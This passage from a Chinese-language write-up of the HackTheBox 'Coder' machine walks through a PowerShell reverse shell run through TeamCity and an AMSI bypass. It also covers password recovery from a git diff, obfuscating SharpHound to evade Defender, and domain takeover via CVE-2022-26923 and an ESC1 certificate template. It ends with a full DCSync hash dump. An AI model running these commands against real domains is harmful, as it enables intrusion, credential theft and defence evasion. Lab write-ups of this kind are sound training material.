# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}

# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}

# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''

# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)

# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}

# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()

下面的红框中的Running一直在转就说明我们的shell已经正常执行了

微信截图_20250403104706

如下图所示,这就是我们的目标机器

微信截图_20250403104937

但是这个脚本不是很稳定,几分钟后就会掉,因为TeamCity在构建的时候如果长时间不能完成构建就会导致构建超时,我们在尝试其他的诸如混淆之类的规避方法时,可能存在构建失败的情况,这时我们可以通过Build Log查看原因

微信截图_20250403105421

我们还可以利用Github上的工具关闭一下AMSI,操作和我们之前一样

微信截图_20250403211801

现在在关闭AMSI之后我们可以上传我们的未经混淆处理的一些powershell反弹shell,注意这里如果直接在hello_world中写反弹shell的脚本的话仍然不能成功,因为我们关闭的是Windows上的反病毒扫描接口,其实脚本在后边测试的时候并没有关闭AMSI11114DA0

横向移动

枚举用户,我们的user flag应该存在于e.black用户桌面上,我们需要进行横向移动

微信截图_20250403215249

在隐藏目录C:\programdata下找到JetBrains的工作目录,我们进入TeamCity中寻找一下可利用的地方

微信截图_20250403221707

我们在system文件夹下找到每次构建时的更改文件changes,我们看一下除了我们在利用时上传的diff.txt文件是否还存在其他diff.txt文件是在靶机启动前就存在的

微信截图_20250403222036

经过我们的排除,发现20开头的diff文件均是我们自己构建时上传的,101.changes.diff这个文件十分可疑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1
index d6515ce..a990b2e 100644
--- a/Get-ADCS_Report.ps1
+++ b/Get-ADCS_Report.ps1
@@ -77,11 +77,15 @@ Function script:send_mail {
[string]
$subject
)
+
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
$emailFrom = 'pkiadmins@coder.htb'
$emailCC = 'e.black@coder.htb'
$emailTo = 'itsupport@coder.htb'
$smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred
}


diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122

我们这里解释一下Git中文件发生的变化:

变化一:Get-ADCS_Report.ps1 文件的变化

新增加了几行代码:

修改了一出代码:

避免了将敏感信息(如明文密码)硬编码到脚本中

变化二:enc.txt文件新增

这是加密后的数据

变化三: key.key 文件新增

这是密钥

那么现在我们就可以在我们自己的Windows上进行上面的操作,然后利用(New-Object PSCredential $cred).GetNetworkCredential().Password获取coder\e.black的网络凭据,完整过程为

还原enc.txt

1
76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQANAA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==

还原key.key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
144
255
52
33
65
190
44
106
131
60
175
129
127
179
69
28
241
70
183
53
153
196
10
126
108
164
172
142
119
112
20
122

在Windows上运行下面powershell命令

1
2
3
4
5
6
7
$key = Get-Content ".\key.key"
$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
$cred = New-Object -TypeName System.Management.Automation.PSCredential
("coder\e.black",$pass)
(New-Object PSCredential $cred).GetNetworkCredential().Password

#或者 $cred.GetNetWorkCredential().Password

如下图所示,我们获得了e.black域用户的密码ypOSJXPqlDOxxbQSfEERy300

微信截图_20250404163002

利用winrm登录获取用户flag

1
evil-winrm -i 10.10.11.207 -u e.black -p ypOSJXPqlDOxxbQSfEERy300  

微信截图_20250404163505

域内权限提升

域内信息收集

我们看一下e.black所在组

1
whoami /groups

注意到下面红框中的PKI Admins ,我们需要看一下这个组的具体说明

微信截图_20250404164214

1
net group "PKI Admins"

这是一个大发现,e.black所在PKI Admins组可以管理ADCS服务,为我们滥用ADCS指明了道路

微信截图_20250404164406

Bloodhound

和之前打过的HTB-Mist类似,我们上传旧版本SharpHound时会被Windows Defender拦截,这里因为我们有了域内账户的票据可以直接尝试利用bloodhound-python收集数据,或者直接上传最新版本的SharpHound也不会被杀,我在官方wp上看到了另一种方法—混淆SharpHound绕过Windows Denfender

利用InvisibilityCloak这个项目,执行下面的命令进行混淆

1
./InvisibilityCloak.py -d ../SharpHound -m reverse -n "ObfuscatedHound"

然后回到SharpHound目录,并按照仓库README.md文件中的指引,使用 dotnet 构建可执行文件

注:这里可能会出现Build failed,但是不影响可执行文件的构建

这里为了方便我还是使用bloodhound-python

1
bloodhound-python -c All -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -ns 10.10.11.207 -d coder.htb -dc dc01.coder.htb --zip

微信截图_20250404172937

在BloodHound中分析,标记所有已经拥有的节点

首先先看一下e.black所有所在组

s.blade所在组

微信截图_20250404174300

它在两个刚才没有枚举到的组中,分别是BUILDAGENT MGMTSOFTWARE DEVELOPERS,我们看一下这两个组的说明

微信截图_20250425191000

两个组都与TeamCity有关

SVC_TEAMCITY是一个普通的域账户,没有什么特别的地方

微信截图_20250425191228

手工AD枚举

首先先枚举一下此域中的组织单元

1
Get-ADOrganizationalUnit -filter * | select Name

微信截图_20250425192022

我们在上面知道域内存在BUILDAGENT MGMT组,同时组织单元作为一种逻辑容器可以用来组织和管理 AD 中对象(用户、计算机、组、子 OU等),管理员可以将 OU 的权限赋予某个组,我们根据组名可以猜测BUILDAGENT MGMT组对BuildAgentsOU存在一些控制权限,但是在我们的bloodhound上并没有显示出来。

在进一步枚举之前我们获取一下OU的DistinguishedName

1
Get-ADOrganizationalUnit -filter * | select Name, DistinguishedName

微信截图_20250425203000

接下来列出BuildAgentsOU的ACL,查看谁对这个OU具有某种特定的权限

1
(Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb").access

Get-Acl:获取指定对象的访问控制列表(ACL),用于查看谁拥有何种权限。

"AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb":域中OU对象的路径,前缀 AD: 表示使用的是Active Directory PS 驱动器

.access:获取该对象的访问控制列表ACL中的所有访问控制项ACE

这里存在大量输出,我们这里仅对我们控制的组的权限感兴趣,我们利用where进行一下简单的过滤

1
2
3
(Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb").access | where IdentityReference -eq "coder\PKI Admins"
(Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb").access | where IdentityReference -eq "coder\Software Developers"
(Get-Acl "AD:OU=BuildAgents,OU=Development,DC=coder,DC=htb").access | where IdentityReference -eq "coder\BuildAgent Mgmt"

where:用于对对象集合进行条件过滤

IdentityReference:表示权限项是属于哪个用户或组的

微信截图_20250425204411

我们看一下两个ObjectType我们具体可以操作什么东西

1
2
ObjectType: bf967a86-0de6-11d0-a285-00aa003049e2    ActiveDirectoryRights : CreateChild, DeleteChild
ObjectType: 72e39547-7b18-11d1-adef-00c04fd8d5cd ActiveDirectoryRights : Self, ReadProperty, WriteProperty

bf967a86-0de6-11d0-a285-00aa003049e2这个类代表域中的计算机帐户,我们在域中具有对他的CreateChild权限即在OU下创建对象的权限(如用户、组、计算机等),以及DeleteChild删除该 OU 下的对象的权限

72e39547-7b18-11d1-adef-00c04fd8d5cd这个代表验证写入权限以启用与计算机名称和域名兼容的 DNS 主机名属性的设置,我们具有ReadProperty即可以读取对象的某些属性,WriteProperty即可以修改对象的属性,self允许用户自己修改自己的属性

CVE-2022–26923

其实到这里我们需要利用的ADCS漏洞就已经很明显了,即我在前几个文章中分析的CVE-2022–26923域内提权漏洞,最早在Oliver Lyak的文章Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)提出,接下来我们进行利用

注:此靶机发布时CVE-2022–26923已经被修复,但是漏洞分析博客中都会指出在msPKI-EnrollmentFlag属性中设置了新的CT_FLAG_NO_SECURITY_EXTENSION (0x80000)标志的证书模板将不会嵌入新的 szOID_NTDS_CA_SECURITY_EXT OID这个用于缓解CVE-2022–26923域内提权漏洞的标志,因此我们仍然可以利用CVE-2022–26923。因为我们能够控制PKI Admins组,我们可以为自己创造恶意模板供我们利用CVE-2022–26923,只需要通过设置恶意模板的CT_FLAG_NO_SECURITY_EXTENSION 参数为 524288(16进制为 0x80000)

现在我们需要在我们的靶机上克隆一个证书模板进行修改,为了方便我们的操作,我们可以利用ADCSTemplate这个powershell模块帮助我们导出、导入、删除、授权和发布AD域证书模板

1
git clone https://github.com/GoateePFE/ADCSTemplate.git

然后利用evil-winrm将其上传到我们的靶机上

1
upload ../RedTeam/ADCSTemplate/ .

接下来导入powershell脚本

1
import-module .\ADCSTemplate.psm1

列出当前所有的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Get-ADCSTemplate | Format-List DisplayName

DisplayName : User
DisplayName : User Signature Only
DisplayName : Smartcard User
DisplayName : Authenticated Session
DisplayName : Smartcard Logon
DisplayName : Basic EFS
DisplayName : Administrator
DisplayName : EFS Recovery Agent
DisplayName : Code Signing
DisplayName : Trust List Signing
DisplayName : Enrollment Agent
DisplayName : Exchange Enrollment Agent (Offline request)
DisplayName : Enrollment Agent (Computer)
DisplayName : Computer
DisplayName : Domain Controller
DisplayName : Web Server
DisplayName : Root Certification Authority
DisplayName : Subordinate Certification Authority
DisplayName : IPSec
DisplayName : IPSec (Offline request)
DisplayName : Router (Offline request)
DisplayName : CEP Encryption
DisplayName : Exchange User
DisplayName : Exchange Signature Only
DisplayName : Cross Certification Authority
DisplayName : CA Exchange
DisplayName : Key Recovery Agent
DisplayName : Domain Controller Authentication
DisplayName : Directory Email Replication
DisplayName : Workstation Authentication
DisplayName : RAS and IAS Server
DisplayName : OCSP Response Signing
DisplayName : Kerberos Authentication
DisplayName : Coder-WebServer

导出其中名为Computer的证书模板作为我们的样板,保存为JSON文件供我们之后进行修改

1
Export-ADCSTemplate -displayname Computer > computer.json

我们将生成的JSON对象读取到一个变量中,并将前文提到的 msPKI-Enrollment-Flag 属性设置为0x80000。然后,我们将修改后的 JSON 数据重新保存到 computer.json 文件中。

1
2
3
$a = get-content computer.json -raw | ConvertFrom-json
$a.'msPKI-Enrollment-Flag' = 0x80000
$a | ConvertTo-Json | Set-Content computer.json

微信截图_20250427124810

接下来利用computer.json创建新的ADCS模板

1
New-ADCSTemplate -displayname pwned -Publish -JSON (gc computer.json -raw)

接下来利用s.blade去创建机器账户(即恶意计算机对象),利用impacket的addcomputer脚本即可完成,但是脚本中默认不允许用户控制 DNS 名称,我们将对脚本进行修改,先复制一份出来

1
2
cp /usr/share/doc/python3-impacket/examples/addcomputer.py addcomputer.py
cat addcomputer.py | grep -n dns

微信截图_20250427135402

我们只需要将上图中所示的computerHostname修改为DC01即可

微信截图_20250427135633

然后利用修改后的脚本添加计算机对象,注意这里是s.blade账户

1
python3 addcomputer.py 'coder.htb/s.blade:AmcwNO60Zg3vca3o0HDrTC6D' -method LDAPS -computer-name "pwned_pc" -computer-pass "Passw0rd" -computer-group OU=BuildAgents,OU=Development,DC=coder,DC=htb

注:这里的-computer-group需要是我们可以控制的OU=BuildAgents,OU=Development,DC=coder,DC=htb

微信截图_20250427140616

将新建的计算机对象注册到我们的恶意证书模板中

1
Set-ADCSTemplateACL -displayname pwned -type allow -identity 'coder\pwned_pc$' -enroll

Set-ADCSTemplateACL:修改一个证书模板的访问控制列表

-type allow:设置允许权限

-enroll:授权这个计算计算机账户可以申请证书

注:如果注册的时候出现类似下面的错误说明机器账户并没有成功添加进域中,只要多添加几次就行了,在域中会有如下提示,这是因为靶机上存在机器账户清理脚本,会定期清理我们创建的机器账户

微信截图_20250427152503

微信截图_20250427152357

为我们的机器账户申请恶意证书

1
certipy-ad req -u pwned_pc\$@dc01.coder.htb -p 'Passw0rd' -ca CODER-DC01-CA -template pwned -target dc01.coder.htb  

微信截图_20250427154103

获取域控哈希,这一步因为需要与域控进行Kerberos认证,所以需要伪造一下时间

1
faketime '21289 seconds' certipy-ad auth -pfx dc01.pfx   

微信截图_20250427154626

有了域控哈希,接下来打一个DCSYNC就可以下班了

1
impacket-secretsdump coder.htb/dc01\$@dc01.coder.htb -hashes aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb 

结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(chromosome㉿kali)-[~/HTB/Coder]
└─$ impacket-secretsdump coder.htb/dc01\$@dc01.coder.htb -hashes aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94 -dc-ip dc01.coder.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::
coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::
coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::
coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::
coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::
coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::
coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:86a6a038ff6058c56a74e2e35008f6b037b8e7bca8c75cc5ee4495f77d0be71e
Administrator:aes128-cts-hmac-sha1-96:6d63b0853502cbbc8c8e40ad8fe88fa3
Administrator:des-cbc-md5:37feabd9d9575785
krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3
krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981
krbtgt:des-cbc-md5:100489b5839798cb
coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85
coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f
coder.htb\e.black:des-cbc-md5:89290da2c2cd16ec
coder.htb\c.cage:aes256-cts-hmac-sha1-96:ea9cc2144c3106e9325b1ddda16c27c644d9f9b7e95098581ceba19c75d9b296
coder.htb\c.cage:aes128-cts-hmac-sha1-96:2cff13848c9e8d07339a6ab41bf72088
coder.htb\c.cage:des-cbc-md5:fd6d578510df1af1
coder.htb\j.briggs:aes256-cts-hmac-sha1-96:ec3ac8b99094903a3ca006a725dc0867666347efb4baf04d8b2f8b0305ab65ee
coder.htb\j.briggs:aes128-cts-hmac-sha1-96:39050d78545c40645fa889c13200f8f7
coder.htb\j.briggs:des-cbc-md5:7f5286d35def8f15
coder.htb\l.kang:aes256-cts-hmac-sha1-96:d7eb03d2695638c4ba423cd88e22dcdd7c0f6da996e5d6ed3af6c6d7e6c56661
coder.htb\l.kang:aes128-cts-hmac-sha1-96:25ad8331aa0fa2b26e220040b9e55937
coder.htb\l.kang:des-cbc-md5:571a573e61ced640
coder.htb\s.blade:aes256-cts-hmac-sha1-96:ceeab374597121113f3bdee3aab1fed0522506909b2f1ec24dfe36045eb3c252
coder.htb\s.blade:aes128-cts-hmac-sha1-96:69f4cada02748fba948e4c15460add9e
coder.htb\s.blade:des-cbc-md5:26eca8ad9deaada2
coder.htb\svc_teamcity:aes256-cts-hmac-sha1-96:b6c7ed72b4434a89c56295df6b42ca68937702dda15f90f23423e8712abce030
coder.htb\svc_teamcity:aes128-cts-hmac-sha1-96:d6604e2fadb40bbf71708e7b9c9734a7
coder.htb\svc_teamcity:des-cbc-md5:264ab5645ed91c86
DC01$:aes256-cts-hmac-sha1-96:a43b686fdd5f2e576ad834c5b1d4327dd5bdbd3ec579677343a2c6c43c8f1740
DC01$:aes128-cts-hmac-sha1-96:22192237a3cb399c19a6b469dcd1cba8
DC01$:des-cbc-md5:cb9758c162ba4943
[*] Cleaning up...

最后利用管理员哈希获取root flag

微信截图_20250427155644

靶机拓展

虽然靶机到这里flag已经拿完了,但是这个靶机还有很多值得我们去发掘的地方,难道真的只能使用CVE-2022–26923吗?

上面我们知道我么具有e.black属于PKI Admins,我们有权导入任何易受攻击的模板,我们先枚举一下当前域中的所有证书模板

1
certipy find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text

微信截图_20250427164557

第20个模板是我们刚才利用的Computer模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
20
Template Name : Machine
Display Name : Computer
Certificate Authorities : coder-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDnsAsCn
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
Private Key Flag : AttestNone
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CODER.HTB\Domain Admins
CODER.HTB\Domain Computers
CODER.HTB\Enterprise Admins
Object Control Permissions
Owner : CODER.HTB\Enterprise Admins
Write Owner Principals : CODER.HTB\Domain Admins
CODER.HTB\Enterprise Admins
Write Dacl Principals : CODER.HTB\Domain Admins
CODER.HTB\Enterprise Admins
Write Property Principals : CODER.HTB\Domain Admins
CODER.HTB\Enterprise Admins

假如说我们需要利用的恶意模板是ESC1,那么我们要做的就是将当前的Computer模板修改为满足ESC1特征的模板即可

存在 ESC1 漏洞的证书模板允许低权限用户代表任意由用户指定的域对象进行注册并请求证书。这意味着,任何拥有注册权限的用户都可以为具有高权限的账户(如域管理员账户)请求证书。

ESC1特征为:

上面的Computer模板我们需要修改Enrollee Supplies SubjectCertificate Name Flag 两个字段,现在我们要了解字段怎么进行修改,直接在Certipy的存储库中找到了MS_PKI_CERTIFICATE_NAME_FLAG类,类下每个标志均有对应的数字,ENROLLEE_SUPPLIES_SUBJECT标志对应数字 0x00000001

微信截图_20250427172423

接下来着手进行修改,首先我们先获取一个对象

1
2
Export-ADCSTemplate -displayname Computer > computer.json
$computer = gc computer.json -raw | ConvertFrom-Json

我们看一下具体需要修改什么值

1
$computer | get-member | findstr Name-Flag

微信截图_20250427174319

需要修改msPKI-Certificate-Name-Flag,我们将其修改为 0x1

1
$computer.'msPKI-Certificate-Name-Flag' = 0x1

接下来的步骤就和上面基本上一致了,转回 json格式,创建模板,并为 e.black 注册证书

1
2
3
$computer | ConvertTo-Json | Set-Content my-esc1.json           
New-ADCSTemplate -DisplayName "My-ESC1" -Publish -JSON (gc my-esc1.json -raw)
Set-ADCSTemplateACL -DisplayName "My-ESC1" -type allow -identity 'coder\e.black' -enroll

微信截图_20250427175559

现在我们利用Certipy-ad扫描一下易受攻击的证书模板

1
certipy-ad find -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -text -stdout -vulnerable  

输出的结果如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Certificate Authorities
0
CA Name : coder-DC01-CA
DNS Name : dc01.coder.htb
Certificate Subject : CN=coder-DC01-CA, DC=coder, DC=htb
Certificate Serial Number : 2180F0D10CFECB9840260D0730724BDF
Certificate Validity Start : 2022-06-29 03:51:44+00:00
Certificate Validity End : 2052-06-29 04:01:44+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CODER.HTB\Administrators
Access Rights
ManageCertificates : CODER.HTB\Administrators
CODER.HTB\Domain Admins
CODER.HTB\Enterprise Admins
ManageCa : CODER.HTB\Administrators
CODER.HTB\Domain Admins
CODER.HTB\Enterprise Admins
Enroll : CODER.HTB\Authenticated Users
Certificate Templates
0
Template Name : My-ESC1
Display Name : My-ESC1
Certificate Authorities : coder-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : AutoEnrollment
Private Key Flag : AttestNone
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CODER.HTB\Erron Black
Object Control Permissions
Owner : CODER.HTB\Erron Black
Full Control Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Owner Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Dacl Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Property Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'CODER.HTB\\Erron Black' can enroll, enrollee supplies subject and template allows client authentication
ESC4 : Template is owned by CODER.HTB\Erron Black

扫描完发现存在两个ESC漏洞,这个ESC4不是我们创建的,似乎是原本就存在

ESC1利用

1
certipy-ad req -u e.black -p ypOSJXPqlDOxxbQSfEERy300 -target coder.htb -ca CODER-DC01-CA -template My-ESC1 -upn administrator@coder.htb

微信截图_20250427183931

可能会出现下面的错误

微信截图_20250427184005

原因是证书不存在了,我们只需要重新发布证书即可

出现下面的错误只需要再重新申请一次证书即可,仅仅是一个超时罢了

微信截图_20250427184109

接下来使用pfx文件进行管理员认证

1
certipy-ad auth -pfx administrator.pfx 

微信截图_20250427184918

仍然成功获取哈希

Bloodhound自定义查询

在HTB的官方wp中看到了利用cypher进行域内关系的枚举,简单的学一下cypher并尝试进行一下简单枚举

基础语法

元素 写法 例子 解释
节点(点) (变量:标签) (u:User) 一个 User
关系(边) -[变量:关系名]-> -[m:MemberOf]-> 成员关系
查询 MATCH MATCH (u:User) 找所有用户
返回结果 RETURN RETURN u.name 返回用户名
条件筛选 WHERE WHERE u.enabled = true 只要启用的账户
ORDER BY 排序
shortestPath 找最短路径
LIMIT 限制返回数量

关系方向

()-[:MemberOf]->()A属于B

()<-[ :HasSession ]-( )B有A的会话

枚举BuildAgent Mgmt组的关联关系

1
MATCH p=(o:OU)-[r:Contains*0..]->(n) RETURN p

*0..:星号+范围,表示可以沿着0条、1条、2条、任意多条 Contains 边行走

(n):走到的目标节点,叫做 n

微信截图_20250427212922

有助于我们充分了解OU的组成为OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB

接下来全面了解节点的层级结构

1
2
MATCH (o1)-[r1:Contains]->(o2:OU) WITH o1 MATCH p=(d)-[r2:Contains*0..]->(o1)-
[r3:Contains]->(n) RETURN p

从域或者更上层的OU,一路Contains找到o1,再看o1下面直接Contains了什么东西

微信截图_20250427214256

About this Post

This post is written by Chromos2me, licensed under CC BY-NC 4.0.

#CVE-2022–26923#ESC#CI/CD#2FA